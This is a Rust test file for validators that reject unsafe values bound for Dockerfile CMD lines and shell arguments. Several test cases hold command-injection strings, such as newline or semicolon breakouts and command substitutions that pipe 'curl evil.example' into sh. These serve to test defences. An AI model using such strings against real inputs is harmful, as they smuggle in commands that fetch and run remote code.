use crate::util::{validate_dockerfile_safe, validate_shell_arg_safe};
#[test]
fn test_validate_dockerfile_safe() {
let tests: &[(&str, &[u8], bool)] = &[
("plain identifier", b"myserver", false),
(
"path with slashes and dots",
b"cmd/quickstart/main.go",
false,
),
("url", b"http://127.0.0.1:8081", false),
("empty string", b"", false),
(
"newline breaks out of the current instruction",
b"x\nRUN curl evil.example | sh\n#",
true,
),
("carriage return", b"x\rRUN curl evil.example | sh", true),
(
"double quote breaks out of a CMD JSON-array string",
br#"x", "extra"]"#,
true,
),
("backtick", b"x`whoami`", true),
("NUL byte", b"x\x00y", true),
(
"backslash escape decodes to a different value",
br"http://x\ny",
true,
),
("trailing backslash breaks CMD JSON", br"http://x\", true),
("tab is a control byte", b"x\ty", true),
("escape byte", b"x\x1by", true),
("non-ASCII", "http://café.example".as_bytes(), false),
(
"invalid UTF-8 does not survive to the container",
b"http://x\xffy",
true,
),
];
for (name, value, want_err) in tests {
let err = validate_dockerfile_safe(value, "test value");
assert_eq!(
err.is_err(),
*want_err,
"{name}: ValidateDockerfileSafe({:?}) error = {err:?}, wantErr {want_err}",
String::from_utf8_lossy(value)
);
}
}
#[test]
fn test_validate_shell_arg_safe() {
let tests: &[(&str, &[u8], bool)] = &[
("plain identifier", b"myserver", false),
(
"path with slashes and dots",
b"cmd/quickstart/main.go",
false,
),
("empty string", b"", false),
(
"semicolon command separator",
b"main.go; curl evil.example | sh #",
true,
),
("pipe to shell", b"main.go | sh", true),
(
"ampersand background/chain",
b"main.go && curl evil.example",
true,
),
("command substitution", b"$(curl evil.example)", true),
(
"backtick command substitution",
b"`curl evil.example`",
true,
),
("space", b"main go", true),
("newline", b"x\nRUN curl evil.example | sh\n#", true),
("double quote", br#"x""#, true),
("backslash", br"x\y", true),
(
"url is rejected (not a path)",
b"http://127.0.0.1:8081",
true,
),
("non-ASCII filename", "agenté".as_bytes(), false),
(
"non-ASCII directory component",
"agentes/café/main.go".as_bytes(),
false,
),
("non-Latin script", "агент".as_bytes(), false),
("supplementary-plane rune", "agent😀".as_bytes(), false),
("invalid UTF-8", b"agent\xff", true),
];
for (name, value, want_err) in tests {
let err = validate_shell_arg_safe(value, "test value");
assert_eq!(
err.is_err(),
*want_err,
"{name}: ValidateShellArgSafe({:?}) error = {err:?}, wantErr {want_err}",
String::from_utf8_lossy(value)
);
}
}
fn cmd_args(value: &str) -> Result<Vec<String>, serde_json::Error> {
serde_json::from_str(&format!(
r#"["/app/main", "web", "--a2a_agent_url", "{value}"]"#
))
}
#[test]
fn test_validate_dockerfile_safe_accepted_values_keep_cmd_parseable() {
for b in 0u8..=0xff {
let mut value = b"http://x".to_vec();
value.push(b);
value.push(b'y');
if validate_dockerfile_safe(&value, "test value").is_err() {
continue;
}
let value = String::from_utf8(value).unwrap();
match cmd_args(&value) {
Err(err) => {
panic!("byte 0x{b:02x} is accepted but makes the CMD line unparseable: {err}")
}
Ok(args) => assert_eq!(
args.last(),
Some(&value),
"byte 0x{b:02x} is accepted but decodes differently"
),
}
}
for r in (0..=0x10_ffffu32).filter_map(char::from_u32) {
let value = format!("http://x{r}y");
if validate_dockerfile_safe(&value, "test value").is_err() {
continue;
}
match cmd_args(&value) {
Err(err) => panic!(
"rune U+{:04X} is accepted but makes the CMD line unparseable: {err}",
r as u32
),
Ok(args) => assert_eq!(
args.last(),
Some(&value),
"rune U+{:04X} is accepted but decodes differently",
r as u32
),
}
}
}
#[test]
fn test_validate_shell_arg_safe_byte_class() {
const ALLOWED_ASCII: &str =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_./-";
for b in 0u8..0x80 {
let accepted = validate_shell_arg_safe([b], "test value").is_ok();
let want = ALLOWED_ASCII.as_bytes().contains(&b);
assert_eq!(
accepted, want,
"byte 0x{b:02x} accepted = {accepted}, want {want}"
);
}
for r in (0x80..=0x10_ffffu32).filter_map(char::from_u32) {
let value = format!("agent{r}");
if let Err(err) = validate_shell_arg_safe(&value, "test value") {
panic!("rune U+{:04X} rejected: {err}", r as u32);
}
}
for b in 0x80u8..=0xff {
let mut value = b"agent".to_vec();
value.push(b);
assert!(
validate_shell_arg_safe(&value, "test value").is_err(),
"lone byte 0x{b:02x} accepted, want rejected: it is not part of a valid rune"
);
}
}